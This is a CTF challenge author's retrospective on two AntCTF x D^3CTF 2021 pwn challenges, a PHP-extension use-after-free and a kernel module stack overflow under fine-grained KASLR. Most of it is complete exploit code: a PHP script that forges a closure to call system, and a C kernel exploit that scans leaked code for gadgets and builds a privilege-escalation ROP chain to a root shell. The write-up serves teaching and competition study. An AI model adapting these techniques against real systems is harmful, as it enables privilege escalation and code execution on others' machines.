I am honored to be one of the questioners of AntCTF x D^3CTF 2021.
In this competition, I came up with 2 pwnable challenges, and tested several pwnable challenges.

This article records my experience before and after the question, as well as some lessons.

Before the competition

Disappeared D3CTF 2020

There should be D3CTF 2020 last year, but it was cancelled for some reasons.

At that time I was conceiving a challenge about kernel pwn and integer overflow, which originated from CVE-2017-16995, a eBPF-related vulnerability. I designed a VM inside the vulnerable kernel module, and due to the symbol asymmetry when comparing operands, it led to cross-border access.

But it was to hard to be debugged, as well as the exploit… And the most important thing is, the challenge itself is not novel enough, which is contrary to the theme of this competition.

The cancellation of D3CTF 2020 is very regrettable, however, it gave me a chance to calm down, and learn more things to conceived better questions.

Upcoming D3CTF 2021

Thanks to the support from Ant Security and the cooperation of Vidar-team, L-team and CNSS, AntCTF x D^3CTF 2021 will arise in March, 2021. And I think it’s time for me to settle down the challenges in the competition.

I decided to come up some challenges based on the points listed below:

kernel pwn with fine-grained kaslr and JIT-ROP

A challenge in hxpctf 2020 inspired me.

In this challenge, the functions were in seperate sections. We couldn’t know the real function offset because each section was loaded into memory independently every time we start the kernel, which means that it is impossible for us to find gadgets in static environment. The official write-up told us that we can use .symtab section, a symbol table used to store information about functions and global variables that are defined and referenced in the program, to get the exact function addresss.

After solving the challenge, I was wondering if there is any other way to reach the root shell instead of using .symtab section to caculate the real offsets of the functions needed. And I notice that if memory leak vulnerability exists, we can use JIT-ROP, or some tricks like that, to find the real gadgets’ address.

php extension and php UAF

Months ago, my teammates @ccdragon and @eniv helped me to debug a php uaf exploit, and I learned a lot php debug skills from that.

As there are few challenges about php extension in ctf-pwn, I decided to construct a vulnerability in php extension. It’s going to be a attractive challenge, I think.

qemu escape

Honestly, I am interested in this kind of problem, but I don’t have any new ideas about qemu escape challenge.

TSX

A problem from defcon 2019 attracted me a lot. You can refer to this blog to explore more.

It’s a novel and CPU-level attack, and our goal is to release the lock to escape the transaction, and finally execute our shellcode.

But the thing is, as the blog mentioned above states, due to the unique scenario modeled by this CTF challenge, it is unlikely that this issue poses a risk to real-world applications, and what’s more, the uniqueness of this attack method also determines that it is difficult to construct new attack ideas.

After the game and Writeups

Every single member of us played an important role in this game, which made the competition an outstanding and widely acclaimed one. But in the process of the game, there were many problems in the deployment environment of the challenge and the challenge itself, which caused a lot of troubles for the participating teams. Sometimes we got unexpected solutions, and those are much different from the solutions we expected…

After collecting the writeups of the top ranked teams, I carefully checked them and learned a lot of new ideas. At the same time, I realized the shortcomings of the challenges. Here are my opinions about several challenges.

Hackphp

Preview

An easy php pwn challenge. This challenge is designed for challengers to use the vulnerability in php extension to execute arbitrary code.

Check hackphp.so carefully, and we can find the functions listed below:

  • hackphp_create, creates a buffer with the length of size, and stores the buffer pointer in buf
  • hackphp_delete, use efree to release buf and reset it to null
  • hackphp_edit, edit the buffer memory pointed by buf
  • hackphp_get, get the content of memory pointed by buf

And here we get the vulnerability in hackphp_create:

If we try to create a buffer with size < 0x100 || size > 0x200, then efree(buf) will be execute but buf will not be resetted to null, which caused a traditional UAF problem.

And now it’s pretty easy, because they (objects defined in .php source and buf) share the same heap memory, we can use the vulnerability to make an object and a buffer been allocated at the same place (make sure that the size of the object and the buffer should be the same). At last we can reach /readflag by type-confusion.

Type-confusion in PHP

How should we use type-confusion in PHP? Let’s check it out.

demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class myClass {
public $a, $b, $c, $d;
}
function main() {
var $obj = new myClass();
$obj->$a = {};
$obj->$b = function($x) {};
$obj->$c = 0xdeadbeef;
$obj->$d = 1.111111;
var_dump($obj);
}
main()
?>

To figure out the memory layout of $obj, we can set breakpoint like this:

1
2
pwndbg> b php_var_dump
Breakpoint 1 at 0x4055c0: file /home/supergate/php-src/ext/standard/var.c, line 93.

Run php demo.php, and we can get:

We should understand that zval *struc points to the memory space of $obj. PHP variables are stored by zval, and here we can try out to look at the memory layout:

The type of variable is defined by zval->v->type, whose related information is mentioned in zend_types.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...
/* regular data types */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10

/* constant expressions */
#define IS_CONSTANT_AST 11

/* internal types */
#define IS_INDIRECT 13
#define IS_PTR 14
#define IS_ALIAS_PTR 15
#define _IS_ERROR 15

/* fake types used only for type hinting (Z_TYPE(zv) can not use them) */
#define _IS_BOOL 16
#define IS_CALLABLE 17
#define IS_ITERABLE 18
#define IS_VOID 19
#define _IS_NUMBER 20
...

We can see that the type of $obj is object.
Let’s look deeper into $obj:

The contents from 0x7ffff587d028 to 0x7ffff587d060 are the properties of $obj. And we should notice that 0x7ffff585c500 is the pointer to $obj->b, which is a Anonymous function, and in PHP kernel, Anonymous function is represented by zend_closure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef struct _zend_closure {
zend_object std;
zend_function func;
zval this_ptr;
zend_class_entry *called_scope;
zif_handler orig_internal_handler;
} zend_closure;

union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
uint32_t quick_arg_flags;

struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;

zend_op_array op_array;
zend_internal_function internal_function; // our target
};

In order to execute malicious function, we should replace internal_function to the address of the function. At the same time, we should ensure the integrity of zend_closure, otherwise the program will crash.

Because of the UAF problem, we can control the data from 0x7ffff587d000 to 0x7ffff587d070 which leads to a fake object generated. And if we can forge a zend_closure structure, we almost complete the challenge.

Details

The use of hackphp.so makes challengers able to modify .got to hijack function, but considering a more common circumstance, I would like to share a way to execute /readflag by forging fake closure.

The idea is very similar to this exp, some template functions can be used directly, but the question is only specific size of the buffer can be controlled in this challenge, and it is impossible to read and write to the next heap block out of boundary. This brings us trouble in constructing zend_closure.

The solution is to apply for a string type object again (the length must be 0x130 to hold the zend_closure content), which is filled with characteristic values, and then the address of the object is found through the constructed leak primitive, and then a closure can be faked, and finally Use UAF to modify the closure to the forged address.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
<?php
global $obj, $origin_object;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function ljust($s, $len=8, $pad=0) {
$out = $s;
$curlen = strlen($s);
for ($i=$curlen; $i < $len; $i++) {
$out .= chr($pad);
}
return $out;
}

function basic_leak($origin, $offset=0, $len=8) {
$arg = substr($origin, $offset, $len);
return str2ptr($arg);
}

function leak_origin_object_content() {
hackphp_edit(str_repeat("a", 16));
$leak_base_heap = hackphp_get();

hackphp_edit(str_repeat("a", 24));
$leak_elf = hackphp_get();

hackphp_edit(str_repeat("a", 40));
$leak_aaa = hackphp_get();

hackphp_edit(str_repeat("a", 56));
$leak_bbb = hackphp_get();

hackphp_edit(str_repeat("a", 112));
$leak_next_heap = hackphp_get();

$out = "";
$out .= ptr2str(0xc000041800000002);
$out .= ptr2str(0x0000000000000001);
$out .= ljust(substr($leak_base_heap, -6, 6));
$out .= ljust(substr($leak_elf, -6, 6));
$out .= ljust("");
$out .= ljust(substr($leak_aaa, -6, 6));
$out .= ptr2str(0x6);
$out .= ljust(substr($leak_bbb, -6, 6));
$out .= ptr2str(0x308);
$out .= ptr2str(0xdeadbeef);
$out .= ptr2str(0x4);
$out .= ptr2str(0x3ff1c71c717ac192);
$out .= ptr2str(0x5);
$out .= ljust("");
$out .= ljust(substr($leak_next_heap, -6, 6));
hackphp_edit($out);

return $out;
}

function write(&$origin, $offset, $value, $len=8) {
for ($i=0; $i<$len; $i++) {
$origin[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
hackphp_edit($origin);
}

function super_leak($addr, $offset=0, $len=8) {
global $obj, $origin_object;
write($origin_object, 0x60, $addr + $offset - 0x10);
$leak = strlen($obj->aaa);
if($len != 8) { $leak %= 2 << ($len * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = super_leak($base, 0x10, 2);

$e_phoff = super_leak($base, 0x20);
$e_phentsize = super_leak($base, 0x36, 2);
$e_phnum = super_leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = super_leak($header, 0, 4);
$p_flags = super_leak($header, 4, 4);
$p_vaddr = super_leak($header, 0x10);
$p_memsz = super_leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = super_leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = super_leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = super_leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = super_leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = super_leak($addr);
$f_name = super_leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return super_leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function copy_closure_struct(&$to, $from) {
for ($i=0; $i<0x110; $i+=8) {
$tmp = super_leak($from, $i);
for ($j=0; $j<8; $j++) {
$to[$i+$j] = chr($tmp & 0xff);
$tmp >>= 8;
}
}
}

function find_flag($addr, $flag, $down=1) {
for ($i=0; $i<30000*8; $i+=8) {
$d1 = super_leak($addr, $i*$down);
$d2 = super_leak($addr, ($i+8)*$down);
if ($d1 == $flag && $d2 == $flag) {
if ($down == 1) {
return $addr + $down*$i;
}
return $addr + $down*$i - 0x1f8;
}
}
return -1;
}

function generate_fake_closure(&$helper, $system_addr) {
$tmp = 1;
for ($i=0; $i<4; $i++) {
$helper[$i + 0x38] = chr($tmp & 0xff);
$tmp >>= 8;
}


$tmp = $system_addr;
for ($i=0; $i<8; $i++) {
$helper[$i + 0x68] = chr($tmp & 0xff);
$tmp >>= 8;
}
}

function pwn($cmd) {
global $obj, $origin_object;
$padding = new vline();
hackphp_create(0x70);

$obj = new vline();
$obj->aaa = "aaaaaaaaaaaaaaaaaaaa";
$obj->bbb = function($x){};
$obj->ccc = 0xdeadbeef;
$obj->ddd = 1.11111111;

$origin_object = leak_origin_object_content();
$elf_base = basic_leak($origin_object, 0x18, 8) - 0xffe520;
$obj_base = basic_leak($origin_object, 0x70, 8) - 0x70*2;
$closure_obj = basic_leak($origin_object, 0x38, 8);
printf("[DEBUG] leak elf_base: 0x%x\n", $elf_base);
printf("[DEBUG] leak obj_base: 0x%x\n", $obj_base);

write($origin_object, 0x28, $obj_base + 0x58);
write($origin_object, 0x30, 0xa);
write($origin_object, 0x58, 0x2);
write($origin_object, 0x68, 0x6);

$elf = parse_elf($elf_base);
$basic_funcs = get_basic_funcs($elf_base, $elf);
$system_addr = get_system($basic_funcs);
printf("[DEBUG] parse data_addr: 0x%x\n", $elf[0]);
printf("[DEBUG] parse text_size: 0x%x\n", $elf[1]);
printf("[DEBUG] parse data_size: 0x%x\n", $elf[2]);
printf("[DEBUG] leak system_addr: 0x%x\n", $system_addr);

$helper = str_repeat('p', 0x200);
$helper_addr = find_flag($obj_base, 0x7070707070707070);
if ($helper_addr == -1) {
$helper_addr = find_flag($obj_base, 0x7070707070707070, -1);
if ($helper_addr == -1) {
die("not found!");
}
}
printf("[DEBUG] leak helper_addr: 0x%x\n", $helper_addr);
copy_closure_struct($helper, $closure_obj);

write($origin_object, 0x38, $helper_addr);
generate_fake_closure($helper, $system_addr);

($obj->bbb)($cmd);
//var_dump($elf);
}

pwn("/readflag");

?>

Liproll

The challenge is inspired by hxpctf 2020 kernel-rop.

The use of fine-grained kaslr makes it difficult to construct the ROP chain.

After FG-KASLR is turned on, it will cause vmlinux and the corresponding kernel module to be segmented by function, and then the function loading order will be disrupted on the basis of the original address randomization, and the offset of the function on the basis of vmlinux_base_addr cannot be determined by static analysis.

The vulnerability is in the cast_a_spell function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall cast_a_spell(__int64 *a1)
{
unsigned int v1; // eax
int v2; // edx
__int64 v3; // rsi
_BYTE buf[256]; // [rsp+0h] [rbp-120h] BYREF
void *ptr; // [rsp+100h] [rbp-20h]
int size; // [rsp+108h] [rbp-18h]
unsigned __int64 v7; // [rsp+110h] [rbp-10h]

v7 = __readgsqword(0x28u);
if ( global_buffer )
{
ptr = global_buffer;
v1 = *((_DWORD *)a1 + 2);
v2 = 256;
v3 = *a1;
if ( v1 <= 0x100 )
v2 = *((_DWORD *)a1 + 2);
size = v2;
if ( !copy_from_user(buf, v3, v1) )
{
memcpy(global_buffer, buf, *((unsigned int *)a1 + 2));
global_buffer = ptr;
*((_DWORD *)&global_buffer + 2) = size;
}
}
else
{
cast_a_spell_cold();
}
}

v1 is the parameter passed in. If v1 > 0x100, it will cause a stack overflow. This overflow will overwrite the ptr and size variables. The read and write functions rely on the ptr and size stored in global_buffer. It is equivalent to the opportunity for us to read and write at will.

In the original question of hxpctf, the real offset of the function is obtained by reading the structure of the .symtab section, and the read function in this challenge limits the scope of reading:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall liproll_read(__int64 a1, __int64 a2, __int64 a3)
{
_QWORD v4[35]; // [rsp+0h] [rbp-118h] BYREF

v4[32] = __readgsqword(0x28u);
if ( global_buffer )
{
if ( (unsigned __int64)global_buffer < vmlinux_base + 0x12EE908 //正好是 .symtab 段范围
|| (unsigned __int64)global_buffer >= vmlinux_base + 0x13419A0 )
{
memcpy(v4, global_buffer, *((unsigned int *)&global_buffer + 2));
copy_to_user(a2, v4, a3);
}
else
{
liproll_read_cold();
}
}
}

This shows that there is no way to get the true offset of the function by reading .symtab.

Another approach (expected solution) is to use fake JIT-ROP. Read the code segment through the memory leak vulnerability in this challenge to obtain the gagets we need, and then use the stack overflow to construct the ROP chains.

During the competition, some teams solved the challenge by modeprobe_path or by brute force search for cred structure on heap space.

Thanks to r3kapig, their member helped to find a unexpected solution which was fixed later. And there would be a big impact without the reminder from them.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CREATE 0xD3C7F03
#define CHOOSE 0xD3C7F04
#define RESET 0xD3C7F02
#define CAST 0xD3C7F01

void spawn_shell() {
if(!getuid()) {
system("/bin/sh");
}
else {
puts("[*]spawn shell error!");
}
exit(0);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

typedef struct choose_args {
unsigned int idx;
}choose_args;

typedef struct cast_args {
u_int8_t *buf;
unsigned int len;
}cast_args;

typedef struct gadgets_find {
size_t prepare_kernel_cred;
size_t commit_creds;
size_t iretq_ret;
size_t mov_rdi_rax_ret;
size_t cmp_rdx_rcx;
size_t pop_rdx_rcx;
}gadgets_find;

gadgets_find found;
int fd, m;
size_t rop[0x100], canary, vmlinux_base;
size_t pop_rdi_ret = 0x16a8;
size_t swapgs_popfq_ret = 0x200eaa;
size_t pop_rbx_ret = 0xb36;
u_int8_t code_iretq_ret[] = {0x48, 0xCF, 0xC3};
u_int8_t code_prepare_kernel_cred[] = {0x48, 0x89, 0xC5, 0x4C, 0x89, 0xE7, 0x48, 0x89, 0xEE, 0xB9, 0x15, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xF3, 0x48, 0xA5, 0x41, 0xC7, 0x04, 0x24, 0x01, 0x00, 0x00, 0x00, 0x41, 0xC7};
u_int8_t code_commit_creds[] = {0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
u_int8_t code_mov_rdi_rax_ret[] = {0x48, 0x89, 0xC7, 0x48, 0x85, 0xDB, 0x7F, 0xEA, 0x48, 0x89, 0xF8, 0x5B, 0xC3};
u_int8_t code_cmp_rdx_rcx[] = {0x48, 0x39, 0xCA, 0x74, 0x01, 0xC3};
u_int8_t code_pop_rdx_rcx[] = {0x5A, 0x59, 0xC3};

int machinecode_cmp(u_int8_t *a, u_int8_t *b, int n) {
for (int i=0; i<n; i++) {
if(a[i] != b[i]) {
return 0;
}
}
return 1;
}

void die(char *s) {
perror(s);
exit(-1);
}

void create() {
ioctl(fd, CREATE, NULL);
}

void reset() {
ioctl(fd, RESET, NULL);
}

void choose(unsigned int idx) {
choose_args arg;
arg.idx = idx;
ioctl(fd, CHOOSE, &arg);
}

void cast(u_int8_t *buf, unsigned int len) {
cast_args arg;
arg.buf = buf;
arg.len = len;
ioctl(fd, CAST, &arg);
}

void gadgets_finder(u_int8_t *codes, int len) {
for (int i = 0; i < len; i++) {
if (found.cmp_rdx_rcx == 0 && \
machinecode_cmp(codes+i, code_cmp_rdx_rcx, 6)) {
found.cmp_rdx_rcx = i + 0x401160;
}
else if (found.commit_creds == 0 && \
machinecode_cmp(codes+i, code_commit_creds, 32)) {
found.commit_creds = i + 0x401160;
}
else if (found.iretq_ret == 0 && \
machinecode_cmp(codes+i, code_iretq_ret, 3)) {
found.iretq_ret = i + 0x401160;
}
else if (found.mov_rdi_rax_ret == 0 && \
machinecode_cmp(codes+i, code_mov_rdi_rax_ret, 13)) {
found.mov_rdi_rax_ret = i + 0x401160;
}
else if (found.prepare_kernel_cred == 0 && \
machinecode_cmp(codes+i, code_prepare_kernel_cred, 32)) {
found.prepare_kernel_cred = i + 0x401160 - 0x34;
}
else if (found.pop_rdx_rcx == 0 && \
machinecode_cmp(codes+i, code_pop_rdx_rcx, 3)) {
found.pop_rdx_rcx = i + 0x401160;
}
}
printf("[*] found pop_rdx_rcx: 0x%llx\n", found.pop_rdx_rcx + vmlinux_base);
printf("[*] found cmp_rdx_rcx: 0x%llx\n", found.cmp_rdx_rcx + vmlinux_base);
printf("[*] found commit_creds: 0x%llx\n", found.commit_creds + vmlinux_base);
printf("[*] found iretq_ret: 0x%llx\n", found.iretq_ret + vmlinux_base);
printf("[*] found mov_rdi_rax_ret: 0x%llx\n", found.mov_rdi_rax_ret + vmlinux_base);
printf("[*] found prepare_kernel_cred: 0x%llx\n", found.prepare_kernel_cred + vmlinux_base);
}

void gadgets_generator() {
create();

u_int8_t payload[0x200] = {0};
u_int8_t *codes_dump = NULL;
codes_dump = (u_int8_t *)malloc(0xacfdf0);
if (codes_dump <= 0) {
die("[-] malloc error.");
}

int cur = 0x401160, dump_end = 0xed1000;
printf("[*] This is dumped code: %p\n", codes_dump);
while(cur < dump_end) {
choose(1);
memset(payload, 0, sizeof(payload));
*(size_t *)(payload + 0x100) = vmlinux_base + cur;
*(int *)(payload + 0x108) = 0x100;
cast(payload, 0x110);
int temprecv = read(fd, codes_dump+cur-0x401160, 0x100);
if(temprecv < 0) {
die("[-] read error.");
}
cur += temprecv;
}

printf("[+] start finding gadgets when length is: 0x%x\n", cur);
gadgets_finder(codes_dump, cur-0x401160);

m = 0x110 / 8;
rop[m++] = canary;
rop[m++] = 0xdeadbeef;

/*
prepare_kernel_cred(0);
*/
rop[m++] = pop_rdi_ret + vmlinux_base;
rop[m++] = 0;
rop[m++] = found.prepare_kernel_cred + vmlinux_base;

/*
commit_creds(prepare_kernel_cred(0));
*/
rop[m++] = found.pop_rdx_rcx + vmlinux_base;
rop[m++] = 1;
rop[m++] = 2;
rop[m++] = found.cmp_rdx_rcx + vmlinux_base;
rop[m++] = pop_rbx_ret + vmlinux_base;
rop[m++] = 0;
rop[m++] = found.mov_rdi_rax_ret + vmlinux_base;
rop[m++] = 0;
rop[m++] = found.commit_creds + vmlinux_base;

/*
switch to kernel;
*/
rop[m++] = swapgs_popfq_ret + vmlinux_base;
rop[m++] = 0;
rop[m++] = found.iretq_ret + vmlinux_base;

rop[m++] = (size_t)spawn_shell; // rip

rop[m++] = user_cs;
rop[m++] = user_rflags;
rop[m++] = user_sp;
rop[m++] = user_ss;
}

int main() {
fd = open("/dev/liproll", O_RDWR);
if (fd <= 0) {
die("[-] open device error.");
}

save_status();
create();
choose(0);
size_t rcv[0x100] = {0};
read(fd, (void *)rcv, 0x40 * 8);
for(int i=0; i<0x40; i++) {
printf("[+] received rcv[%d]: 0x%llx\n", i, rcv[i]);
}
canary = rcv[32];
vmlinux_base = rcv[52] - 0x20007c;
printf("[+] leak canary: 0x%llx\n", canary);
printf("[+] leak vmlinux_base: 0x%llx\n", vmlinux_base+0x401160);

gadgets_generator();

reset();
choose(0);
cast((u_int8_t *)rop, m*8);
}